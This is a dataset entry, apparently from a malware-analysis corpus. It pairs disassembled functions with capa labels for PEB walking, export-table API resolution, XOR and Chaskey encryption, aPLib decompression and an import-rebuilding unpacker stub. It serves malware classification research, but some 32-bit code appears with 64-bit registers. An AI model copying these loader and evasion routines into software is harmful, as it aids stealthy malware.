joyce8/EMBER2024-capa huggingface dataset:
Function at 0x449821
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x148]
sub rsp, 0x208
movsxd r14, dword [rdx + 0x3c]
mov rbx, rdx
mov eax, dword [r14 + rdx + 0x88]
test eax, eax
je 0x4498f8
lea rdi, [rdx + rax]
mov esi, dword [rdi + 0x18]
test esi, esi
je 0x4498f8
mov r8d, dword [rdi + 0xc]
xor ecx, ecx
mov eax, dword [rdi + 0x20]
add r8, rdx
mov r12d, dword [rdi + 0x1c]
add rax, rdx
mov r13d, dword [rdi + 0x24]
add r12, rdx
mov qword [rbp + 0x158], rax
add r13, rdx
mov al, byte [r8]
test al, al
je 0x4498af
xor edx, edx
inc ecx
or al, 0x20
mov byte [rbp + rdx - 0x10], al
mov edx, ecx
mov al, byte [rcx + r8]
test al, al
jne 0x44989d
mov byte [rbp + rcx - 0x10], 0
mov rdx, r9
lea rcx, [rbp - 0x10]
call fcn.0044bd89
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x158]
lea ecx, [rsi - 1]
mov rdx, qword [rbp + 0x168]
mov esi, ecx
mov r15d, ecx
mov ecx, dword [rax + rcx*4]
add rcx, rbx
call fcn.0044bd89
xor rax, qword [rsp + 0x20]
cmp rax, qword [rbp + 0x160]
je 0x44990e
test esi, esi
jne 0x4498c5
xor eax, eax
add rsp, 0x208
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
movzx eax, word [r13 + r15*2]
mov r8d, dword [r12 + rax*4]
add r8, rbx
cmp r8, rdi
jb 0x4499ce
mov eax, dword [r14 + rbx + 0x8c]
add rax, rdi
cmp r8, rax
jae 0x4499ce
xor r10d, r10d
mov r9d, r10d
cmp byte [r8], r10b
je 0x449962
cmp r9d, 0x3c
jae 0x449962
mov eax, r9d
mov cl, byte [rax + r8]
mov byte [rsp + rax + 0x30], cl
cmp cl, 0x2e
je 0x449962
inc r9d
cmp byte [r9 + r8], r10b
jne 0x449943
lea eax, [r9 + 1]
mov edx, eax
mov byte [rsp + rax + 0x30], 0x64
lea eax, [r9 + 2]
mov byte [rsp + rax + 0x30], 0x6c
lea eax, [r9 + 3]
mov byte [rsp + rax + 0x30], 0x6c
lea eax, [r9 + 4]
lea r9, [rdx + r8]
mov byte [rsp + rax + 0x30], r10b
mov edx, r10d
cmp byte [r9], r10b
je 0x4499ab
cmp edx, 0x7f
jae 0x4499ab
mov ecx, edx
inc edx
mov al, byte [rcx + r9]
mov byte [rsp + rcx + 0x70], al
cmp byte [rdx + r9], r10b
jne 0x449994
mov rcx, qword [rbp + 0x150]
lea r9, [rsp + 0x70]
mov eax, edx
lea r8, [rsp + 0x30]
mov rdx, rbx
mov byte [rsp + rax + 0x70], r10b
call fcn.004499d9
mov r8, rax
mov rax, r8
jmp 0x4498fa
Function at 0x4499d9
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rax, qword gs:[0x30]
xor r11d, r11d
mov rsi, r9
mov r14, r8
mov rbp, rdx
mov rdi, rcx
mov r10, qword [rax + 0x60]
mov rax, qword [r10 + 0x18]
mov rbx, qword [rax + 0x10]
cmp qword [rbx + 0x30], r11
je 0x449a4a
test r11, r11
jne 0x449a6b
mov rdx, qword [rbx + 0x30]
cmp rdx, rbp
je 0x449a3b
xor r9d, r9d
mov r8, rsi
mov rcx, rdi
call fcn.0044bb6d
mov r11, rax
mov rbx, qword [rbx]
cmp qword [rbx + 0x30], 0
jne 0x449a1c
test r11, r11
jne 0x449a6b
mov rdx, r14
mov rcx, rdi
call fcn.0044ba85
test rax, rax
je 0x449a68
mov rdx, rsi
mov rcx, rax
call qword [rdi + 0x38]
mov r11, rax
jmp 0x449a6b
xor r11d, r11d
mov rbx, qword [rsp + 0x30]
mov rax, r11
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x44b829
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov rax, qword gs:[0x30]
mov rsi, rcx
add rcx, 0x348
mov rbp, rdx
mov r15, qword [rax + 0x60]
call qword [rsi + 0x40]
xor ecx, ecx
movsxd r9, dword [rax + 0x3c]
add r9, rax
movzx r10d, word [r9 + 0x14]
movzx r8d, word [r9 + 6]
add r10, r9
test r8d, r8d
je 0x44b899
mov r9d, dword [rsi + 0x340]
lea rdx, [rcx + rcx*4]
cmp dword [r10 + rdx*8 + 0x18], r9d
je 0x44b8ce
inc ecx
cmp ecx, r8d
jb 0x44b887
mov ebx, dword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe0]
call qword [rsi + 0xc0]
xor edx, edx
test ebx, ebx
je 0x44b8ee
mov r8, rdi
lea rcx, [r8 + 8]
mov r14, r8
mov r8, rcx
cmp qword [rcx], rax
je 0x44b8e0
inc edx
cmp edx, ebx
jb 0x44b8b7
jmp 0x44b8f6
mov edi, dword [r10 + rdx*8 + 0x24]
mov ebx, dword [r10 + rdx*8 + 0x20]
add rdi, rax
shr ebx, 3
jmp 0x44b8a8
mov rdx, rbp
mov rcx, r14
call qword [rsi + 0x1f0]
jmp 0x44b8f6
mov r14, qword [rsp + 0xe0]
call qword [rsi + 0xb8]
xor ebp, ebp
lea r9d, [rbp + 1]
test ebx, ebx
je 0x44b947
lea rcx, [rdi + 8]
cmp qword [rcx], rax
je 0x44b91c
add ebp, r9d
add rcx, 8
cmp ebp, ebx
jb 0x44b90a
jmp 0x44b947
mov r8b, r9b
lea rcx, [rsp + 0x20]
mov rdx, r14
call qword [rsi + 0x1d0]
lea rcx, [rdi + rbp*8]
mov r8d, 0x10
lea rdx, [rsp + 0x20]
call fcn.0044c295
mov r9d, 1
mov rax, qword [r15 + 0x18]
mov rdi, qword [rax + 0x10]
jmp 0x44ba56
lea r12, [rsi + 0x370]
mov cl, byte [r12]
xor ebp, ebp
xor edx, edx
mov r15d, r9d
test cl, cl
je 0x44ba53
xor r8d, r8d
cmp cl, 0x3b
je 0x44b9a4
cmp edx, 0x80
jae 0x44b9a4
xor eax, eax
mov byte [rsp + r8 + 0x30], cl
cmp cl, 0x77
cmovne eax, r15d
cmp cl, 0x70
mov r15d, eax
cmove ebp, r9d
add edx, r9d
mov r8d, edx
mov cl, byte [rdx + r12]
test cl, cl
jne 0x44b971
test edx, edx
je 0x44ba53
lea ecx, [rdx + 1]
mov byte [rsp + rdx + 0x30], 0
mov rdx, qword [rdi + 0x30]
lea r8, [rsp + 0x30]
add r12, rcx
xor r9d, r9d
mov rcx, rsi
call fcn.0044bb6d
mov rbx, rax
mov r9d, 1
test rax, rax
je 0x44b95b
test r15d, r15d
je 0x44ba16
test ebp, ebp
je 0x44b9f6
call rbx
mov rbx, rax
mov r9d, 1
test rax, rax
je 0x44b95b
mov rdx, qword [rbx]
mov rcx, rsi
call fcn.00449fa5
mov r9d, 1
test eax, eax
je 0x44b95b
mov rax, qword [rsp + 0x28]
jmp 0x44ba4b
test ebp, ebp
je 0x44ba2e
call rbx
mov rbx, rax
mov r9d, 1
test rax, rax
je 0x44b95b
mov rdx, qword [rbx]
mov rcx, rsi
call fcn.00449fa5
mov r9d, 1
test eax, eax
je 0x44b95b
mov rax, qword [r14 + 8]
mov qword [rbx], rax
jmp 0x44b95b
mov rdi, qword [rdi]
cmp qword [rdi + 0x30], 0
jne 0x44b954
lea r11, [rsp + 0xb0]
mov eax, r9d
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x44ba85
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
or r10d, 0xffffffff
xor r8d, r8d
mov rsi, rcx
cmp byte [rdx], r8b
je 0x44babc
cmp r8d, 0x40
jae 0x44babc
mov al, byte [r8 + rdx]
mov byte [rsp + r8 + 0x20], al
inc r8d
cmp byte [r8 + rdx], 0
jne 0x44baa3
lea eax, [r8 - 4]
mov byte [rsp + r8 + 0x20], 0
cmp byte [rsp + rax + 0x20], 0x2e
je 0x44baf7
mov byte [rsp + r8 + 0x20], 0x2e
inc r8d
mov byte [rsp + r8 + 0x20], 0x64
inc r8d
mov byte [rsp + r8 + 0x20], 0x6c
inc r8d
lea eax, [r8 + 1]
mov byte [rsp + r8 + 0x20], 0x6c
mov byte [rsp + rax + 0x20], 0
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rax, qword [rcx + 0x18]
mov rdi, qword [rax + 0x10]
mov rbx, qword [rdi + 0x30]
test rbx, rbx
je 0x44bb4e
movsxd rax, dword [rbx + 0x3c]
mov ecx, dword [rax + rbx + 0x88]
xor eax, eax
test ecx, ecx
je 0x44bb41
mov edx, dword [rcx + rbx + 0xc]
lea rcx, [rsp + 0x20]
add rdx, rbx
call fcn.0044c2f1
mov r10d, eax
xor eax, eax
test r10d, r10d
je 0x44bb66
mov rdi, qword [rdi]
test r10d, r10d
jne 0x44bb0c
test rax, rax
jne 0x44bb56
lea rcx, [rsp + 0x20]
call qword [rsi + 0x30]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
mov rax, rbx
jmp 0x44bb56
Function at 0x44bb6d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xa0
xor r11d, r11d
mov rdi, rdx
mov r10, rcx
mov ebx, r11d
test rdx, rdx
je 0x44bcf5
movsxd r15, dword [rdx + 0x3c]
mov eax, dword [r15 + rdx + 0x88]
test eax, eax
je 0x44bcf5
lea rsi, [rdx + rax]
mov r14d, dword [rsi + 0x1c]
mov r13d, dword [rsi + 0x20]
add r14, rdx
mov r12d, dword [rsi + 0x24]
add r13, rdx
add r12, rdx
test r8, r8
je 0x44bce5
mov ebp, dword [rsi + 0x18]
test ebp, ebp
je 0x44bcf5
lea eax, [rbp - 1]
mov rdx, r8
mov ecx, dword [r13 + rax*4]
mov ebp, eax
add rcx, rdi
mov qword [rsp + 0xe8], rax
call fcn.0044c2d1
xor r11d, r11d
test eax, eax
jne 0x44bc1c
mov rax, qword [rsp + 0xe8]
movzx eax, word [r12 + rax*2]
mov ebx, dword [r14 + rax*4]
add rbx, rdi
test ebp, ebp
je 0x44bc2d
mov r8, qword [rsp + 0xf0]
test rbx, rbx
je 0x44bbe4
mov r10, qword [rsp + 0xe0]
cmp rbx, rsi
jb 0x44bce0
mov eax, dword [r15 + rdi + 0x8c]
add rax, rsi
cmp rbx, rax
jae 0x44bce0
mov r8d, r11d
cmp byte [rbx], r11b
je 0x44bc78
cmp r8d, 0x3c
jae 0x44bc78
mov eax, r8d
mov cl, byte [rax + rbx]
mov byte [rsp + rax + 0x20], cl
cmp cl, 0x2e
je 0x44bc78
inc r8d
cmp byte [r8 + rbx], r11b
jne 0x44bc5a
lea eax, [r8 + 1]
mov edx, eax
mov byte [rsp + rax + 0x20], 0x64
lea eax, [r8 + 2]
mov byte [rsp + rax + 0x20], 0x6c
lea eax, [r8 + 3]
mov byte [rsp + rax + 0x20], 0x6c
lea eax, [r8 + 4]
lea r8, [rdx + rbx]
mov byte [rsp + rax + 0x20], r11b
mov edx, r11d
cmp byte [r8], r11b
je 0x44bcc1
cmp edx, 0x3f
jae 0x44bcc1
mov ecx, edx
inc edx
mov al, byte [rcx + r8]
mov byte [rsp + rcx + 0x60], al
cmp byte [rdx + r8], r11b
jne 0x44bcaa
mov eax, edx
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x20]
mov rdx, rdi
mov rcx, r10
mov byte [rsp + rax + 0x60], r11b
call fcn.004499d9
mov rbx, rax
mov rax, rbx
jmp 0x44bcf7
sub r9d, dword [rsi + 0x10]
mov ebx, dword [r14 + r9*4]
add rbx, rdi
jmp 0x44bc35
xor eax, eax
mov rbx, qword [rsp + 0xf8]
add rsp, 0xa0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x44bd15
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x30]
mov rdi, r8
mov rsi, rdx
mov rbp, rcx
xor r10d, r10d
mov r9, qword [rax + 0x60]
mov rax, qword [r9 + 0x18]
mov rbx, qword [rax + 0x10]
jmp 0x44bd68
test r10, r10
jne 0x44bd71
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, rbp
call fcn.00449821
mov rbx, qword [rbx]
mov r10, rax
mov rax, qword [rbx + 0x30]
test rax, rax
jne 0x44bd4c
mov rbx, qword [rsp + 0x30]
mov rax, r10
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x44be55
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x10
movups xmm0, xmmword [rcx]
mov qword [rsp + 0x28], rdx
mov ecx, edx
mov r8d, dword [rsp + 0x2c]
xor r10d, r10d
movups xmmword [rsp], xmm0
mov edx, dword [rsp + 0xc]
mov r11d, dword [rsp + 8]
mov ebx, dword [rsp + 4]
mov r9d, dword [rsp]
mov eax, edx
ror ecx, 8
add ecx, r8d
mov edx, ebx
xor ecx, r9d
ror edx, 8
add edx, r9d
rol r8d, 3
xor edx, r10d
rol r9d, 3
xor r9d, edx
xor r8d, ecx
inc r10d
mov ebx, r11d
mov r11d, eax
cmp r10d, 0x1b
jb 0x44be82
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x2c], r8d
mov rax, qword [rsp + 0x28]
add rsp, 0x10
pop rbx
ret

Function at 0x44bec9
Capabilities:
Encode data using xor
Encrypt data using chaskey

Disassembly:
test r9d, r9d
je 0x44c017
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r14
mov rbp, rsp
sub rsp, 0x10
mov r11, rcx
lea rax, [rbp - 0x10]
sub r11, rax
lea r14, [rdx + 0xf]
mov rdi, r8
mov r12d, 0x10
lea rax, [rbp - 0x10]
cmp rax, r14
ja 0x44bf20
lea rax, [rbp - 1]
cmp rax, rdx
jb 0x44bf20
movups xmm0, xmmword [rdx]
movdqu xmmword [rbp - 0x10], xmm0
jmp 0x44bf28
movups xmm0, xmmword [rdx]
movdqu xmmword [rbp - 0x10], xmm0
lea rcx, [rbp - 0x10]
mov r8d, 4
mov eax, dword [r11 + rcx]
xor dword [rcx], eax
lea rcx, [rcx + 4]
sub r8, 1
jne 0x44bf32
mov r8d, dword [rbp - 4]
mov rbx, r12
mov eax, dword [rbp - 8]
mov r10d, dword [rbp - 0xc]
mov ecx, dword [rbp - 0x10]
add ecx, r10d
add eax, r8d
rol r10d, 5
xor r10d, ecx
rol r8d, 8
xor r8d, eax
rol ecx, 0x10
add eax, r10d
add ecx, r8d
rol r10d, 7
rol r8d, 0xd
xor r10d, eax
xor r8d, ecx
rol eax, 0x10
sub rbx, 1
jne 0x44bf53
mov dword [rbp - 4], r8d
lea r8d, [rbx + 4]
mov dword [rbp - 0x10], ecx
lea rcx, [rbp - 0x10]
mov dword [rbp - 0xc], r10d
mov dword [rbp - 8], eax
mov eax, dword [rcx + r11]
xor dword [rcx], eax
lea rcx, [rcx + 4]
sub r8, 1
jne 0x44bf9d
cmp r9d, r12d
mov ecx, r9d
cmova ecx, r12d
mov r10d, ecx
test ecx, ecx
je 0x44bfdb
lea rbx, [rbp - 0x10]
mov r8, rdi
sub rbx, rdi
mov esi, r10d
mov al, byte [rbx + r8]
xor byte [r8], al
inc r8
sub rsi, 1
jne 0x44bfcb
sub r9d, ecx
mov r8d, r12d
add rdi, r10
lea eax, [r8 - 1]
add byte [rax + rdx], 1
jne 0x44bff6
dec r8d
test r8d, r8d
jg 0x44bfe4
test r9d, r9d
jne 0x44bf04
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x10
pop r14
pop r12
pop rbp
ret
Function at 0x44c019
Capabilities:
Decompress data using aplib

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
mov al, byte [rcx]
or r14d, 0xffffffff
and dword [rbp - 0xc], 0
xor r9d, r9d
mov byte [rdx], al
xor edi, edi
lea rax, [rdx + 1]
mov rbx, rdx
mov qword [rbp - 0x18], rax
mov r11d, r14d
lea rax, [rcx + 1]
mov qword [rbp - 0x20], rax
lea esi, [rdi + 1]
lea rcx, [rbp - 0x20]
call fcn.0044c25d
test eax, eax
je 0x44c219
lea rcx, [rbp - 0x20]
call fcn.0044c25d
test eax, eax
je 0x44c11f
lea rcx, [rbp - 0x20]
call fcn.0044c25d
test eax, eax
je 0x44c0db
xor r9d, r9d
lea r10d, [r9 + 4]
lea rcx, [rbp - 0x20]
call fcn.0044c25d
lea r9d, [rax + r9*2]
sub r10d, esi
jne 0x44c094
test r9d, r9d
je 0x44c0c8
mov rdx, qword [rbp - 0x18]
mov rax, rdx
mov ecx, r9d
sub rax, rcx
mov al, byte [rax]
mov byte [rdx], al
add rdx, rsi
mov qword [rbp - 0x18], rdx
jmp 0x44c233
mov rax, qword [rbp - 0x18]
mov byte [rax], 0
add rax, rsi
mov qword [rbp - 0x18], rax
jmp 0x44c233
mov rax, qword [rbp - 0x20]
movzx r11d, byte [rax]
add rax, rsi
mov ecx, r11d
mov qword [rbp - 0x20], rax
and ecx, esi
add ecx, 2
shr r11d, 1
je 0x44c118
mov rdx, qword [rbp - 0x18]
mov r8d, r11d
neg r8
mov al, byte [r8 + rdx]
mov byte [rdx], al
add rdx, rsi
add ecx, r14d
jne 0x44c101
mov qword [rbp - 0x18], rdx
jmp 0x44c214
mov edi, esi
jmp 0x44c214
mov r10d, esi
lea rcx, [rbp - 0x20]
call fcn.0044c25d
lea rcx, [rbp - 0x20]
lea r10d, [rax + r10*2]
call fcn.0044c25d
test eax, eax
jne 0x44c122
test r9d, r9d
jne 0x44c189
cmp r10d, 2
jne 0x44c189
mov r9d, esi
lea rcx, [rbp - 0x20]
call fcn.0044c25d
lea rcx, [rbp - 0x20]
lea r9d, [rax + r9*2]
call fcn.0044c25d
test eax, eax
jne 0x44c14a
test r9d, r9d
je 0x44c214
mov rcx, qword [rbp - 0x18]
mov edx, r11d
neg rdx
mov al, byte [rdx + rcx]
mov byte [rcx], al
add rcx, rsi
add r9d, r14d
jne 0x44c177
jmp 0x44c210
mov rcx, qword [rbp - 0x20]
xor r9d, esi
sub r10d, r9d
mov r9d, esi
shl r10d, 8
movzx r11d, byte [rcx]
add r11d, 0xfffffe00
add r11d, r10d
add rcx, rsi
mov qword [rbp - 0x20], rcx
lea rcx, [rbp - 0x20]
call fcn.0044c25d
lea rcx, [rbp - 0x20]
lea r9d, [rax + r9*2]
call fcn.0044c25d
test eax, eax
jne 0x44c1af
cmp r11d, 0x7d00
lea eax, [r9 + 1]
cmovb eax, r9d
cmp r11d, 0x500
lea ecx, [rax + 1]
cmovb ecx, eax
cmp r11d, 0x80
lea r8d, [rcx + 2]
cmovae r8d, ecx
test r8d, r8d
je 0x44c214
mov rcx, qword [rbp - 0x18]
mov edx, r11d
neg rdx
mov al, byte [rdx + rcx]
mov byte [rcx], al
add rcx, rsi
add r8d, r14d
jne 0x44c203
mov qword [rbp - 0x18], rcx
mov r9d, esi
jmp 0x44c236
mov rdx, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov al, byte [rdx]
mov byte [rcx], al
add rcx, rsi
add rdx, rsi
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x20], rdx
xor r9d, r9d
test edi, edi
je 0x44c05e
mov eax, dword [rbp - 0x18]
mov rsi, qword [rsp + 0x58]
sub eax, ebx
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
add rsp, 0x40
pop rbp
ret
Function at 0x44eca6
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10
mov eax, dword [rsp + 0x18]
mov edx, dword [rsp + 0x1c]
push rbx
push rbp
push rsi
mov esi, dword [rsp + 0x20]
xor ebx, ebx
push rdi
lea edi, [rsp + 0x10]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
mov ecx, dword [rsp + 0x14]
mov esi, dword [rsp + 0x1c]
mov ebp, dword [rsp + 0x18]
mov edi, dword [rsp + 0x10]
mov dword [rsp + 0x28], ecx
mov ecx, esi
ror eax, 8
mov esi, dword [rsp + 0x28]
add eax, edx
ror esi, 8
xor eax, edi
add esi, edi
rol edx, 3
xor esi, ebx
rol edi, 3
xor edx, eax
mov dword [rsp + 0x28], ebp
xor edi, esi
mov ebp, ecx
cmp r11d, 0x1b
jb 0x44ecd7
pop rdi
pop rsi
pop rbp
pop rbx
add esp, 0x10
ret

Function at 0x44ed09
Capabilities:
Encode data using xor
Encrypt data using chaskey

Disassembly:
mov edx, dword [rsp + 0x10]
sub esp, 0x14
push rbx
mov ebx, dword [rsp + 0x20]
push rbp
mov ebp, dword [rsp + 0x28]
test edx, edx
je 0x44ee0e
xor eax, eax
lea ecx, [rbx + 0xf]
mov dword [rsp + 0x2c], ecx
sub eax, ebx
push rsi
mov dword [rsp + 0xc], eax
push rdi
lea eax, [rsp + 0x14]
cmp eax, ecx
ja 0x44ed40
lea eax, [rsp + 0x23]
mov esi, ebx
lea edi, [rsp + 0x14]
xor ecx, ecx
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
movsd dword [rdi], dword [rsi]
mov esi, dword [rsp + 0x28]
mov eax, dword [rsi + rcx*4]
xor dword [rsp + rcx*4 + 0x14], eax
cmp r9d, 4
jb 0x44ed50
mov esi, dword [rsp + 0x20]
mov eax, dword [rsp + 0x1c]
mov edi, dword [rsp + 0x18]
mov ecx, dword [rsp + 0x14]
mov dword [rsp + 0x30], 0x10
add ecx, edi
add eax, esi
rol edi, 5
xor edi, ecx
rol esi, 8
xor esi, eax
rol ecx, 0x10
add eax, edi
add ecx, esi
rol edi, 7
rol esi, 0xd
xor edi, eax
xor esi, ecx
rol eax, 0x10
sub dword [rsp + 0x30], 1
jne 0x44ed75
mov ebx, dword [rsp + 0x28]
mov dword [rsp + 0x14], ecx
xor ecx, ecx
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x18], edi
mov dword [rsp + 0x1c], eax
mov eax, dword [rbx + rcx*4]
xor dword [rsp + rcx*4 + 0x14], eax
cmp r9d, 4
jb 0x44edb4
push 0x10
pop rsi
cmp edx, esi
mov ecx, edx
cmova ecx, esi
test ecx, ecx
je 0x44ede4
lea edi, [rsp + 0x14]
mov esi, ebp
sub edi, ebp
mov ebx, ecx
mov al, byte [rdi + rsi]
xor byte [rsi], al
sub ebx, 1
jne 0x44edd9
mov ebx, dword [rsp + 0x10]
sub edx, ecx
add ebp, ecx
mov ecx, dword [rsp + 0x34]
add byte [rcx], 1
jne 0x44edfd
lea rax, [r11 + rcx]
test eax, eax
jg 0x44edf0
mov ebx, dword [rsp + 0x2c]
lea ecx, [rbx + 0xf]
test edx, edx
jne 0x44ed34
pop rdi
pop rsi
pop rbp
pop rbx
add esp, 0x14
ret
Function at 0x44ee14
Capabilities:
Decompress data using aplib

Disassembly:
sub esp, 0x14
mov ecx, dword [rsp + 0x18]
and dword [rsp + 0x10], 0
push rbx
push rbp
mov ebp, dword [rsp + 0x24]
mov al, byte [rcx]
push rsi
push rdi
mov byte [rbp], al
or edi, 0xffffffff
lea eax, [rbp + 1]
xor esi, esi
mov dword [rsp + 0x18], eax
xor ebx, ebx
lea eax, [rcx + 1]
mov dword [rsp + 0x10], ebx
mov dword [rsp + 0x14], eax
lea eax, [rsp + 0x14]
push rax
call fcn.0044efb7
pop rcx
test eax, eax
je 0x44ef8b
lea eax, [rsp + 0x14]
push rax
call fcn.0044efb7
test eax, eax
lea eax, [rsp + 0x18]
pop rcx
push rax
je 0x44eeea
call fcn.0044efb7
pop rcx
test eax, eax
je 0x44eeae
push 4
xor esi, esi
pop rbx
lea eax, [rsp + 0x14]
push rax
call fcn.0044efb7
pop rcx
lea esi, [rax + rsi*2]
sub ebx, 1
jne 0x44ee7c
mov edx, dword [rsp + 0x18]
test esi, esi
je 0x44eea1
mov eax, edx
sub eax, esi
mov al, byte [rax]
mov byte [rdx], al
jmp 0x44eea4
mov byte [rdx], 0
mov ebx, dword [rsp + 0x10]
jmp 0x44ef9d
mov eax, dword [rsp + 0x14]
mov edx, dword [rsp + 0x18]
movzx edi, byte [rax]
mov ecx, edi
mov dword [rsp + 0x14], eax
and ecx, 1
add ecx, 2
shr edi, 1
je 0x44eede
mov esi, edx
sub esi, edi
mov al, byte [rsi]
mov byte [rdx], al
sub ecx, 1
jne 0x44eece
jmp 0x44ef82
xor ebx, ebx
mov dword [r12 + r12 + 0x10], ebx
jmp 0x44ef86
call fcn.0044efee
mov edx, eax
pop rcx
test esi, esi
jne 0x44ef21
cmp edx, 2
jne 0x44ef21
lea eax, [rsp + 0x14]
push rax
call fcn.0044efee
mov edx, dword [rsp + 0x1c]
mov esi, eax
pop rcx
test esi, esi
je 0x44ef86
mov ecx, edx
sub ecx, edi
mov al, byte [rcx]
mov byte [rdx], al
sub r14d, 1
jne 0x44ef14
jmp 0x44ef82
mov ecx, dword [rsp + 0x14]
lea eax, [rsp + 0x14]
xor esi, 1
sub edx, esi
shl edx, 8
movzx edi, byte [rcx]
add edi, 0xfffffe00
add edi, edx
push r8
mov dword [rsp + 0x18], ecx
call fcn.0044efee
pop rcx
mov ecx, eax
cmp edi, 0x7d00
jb 0x44ef53
mov edx, dword [r12 + 0x18]
mov edx, dword [rsp + 0x18]
lea eax, [rcx + 1]
cmp edi, 0x500
cmovb eax, ecx
cmp edi, 0x80
lea esi, [rax + 2]
cmovae esi, eax
test esi, esi
je 0x44ef86
mov ecx, edx
sub ecx, edi
mov al, byte [rcx]
mov byte [rdx], al
sub r14d, 1
jne 0x44ef77
mov dword [rsp + 0x18], edx
xor esi, esi
jmp 0x44efa3
mov ecx, dword [rsp + 0x14]
mov edx, dword [rsp + 0x18]
mov al, byte [rcx]
mov byte [rdx], al
mov dword [r12 + 0x14], ecx
xor esi, esi
mov dword [rsp + 0x18], edx
test ebx, ebx
je 0x44ee46
pop rdi
pop rsi
sub edx, ebp
pop rbp
mov eax, edx
pop rbx
add esp, 0x14
ret
Function at 0x100edaf40
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x100edaf4d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x100edaf5d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x100edaf45
lea eax, [rcx + 1]
jmp 0x100edaf6b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x100edaf7e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x100edaf64
sub eax, 3
jb 0x100edaf9e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x100edafed
sar eax, 1
movsxd rbp, eax
jb 0x100edafd4
jmp 0x100edafac
add ebx, ebx
jne 0x100edafaa
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100edafd4
inc ecx
add ebx, ebx
jne 0x100edafba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100edafd4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x100edafcd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x100edafbc
add ecx, 2
jmp 0x100edafd9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.100edaf02
jmp 0x100edaf4d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xed6000]
mov eax, dword [rdi]
or eax, eax
je 0x100edb049
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xef186c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x100edaff9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x100edb043
mov qword [rbx], rax
add rbx, 8
jmp 0x100edb019
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
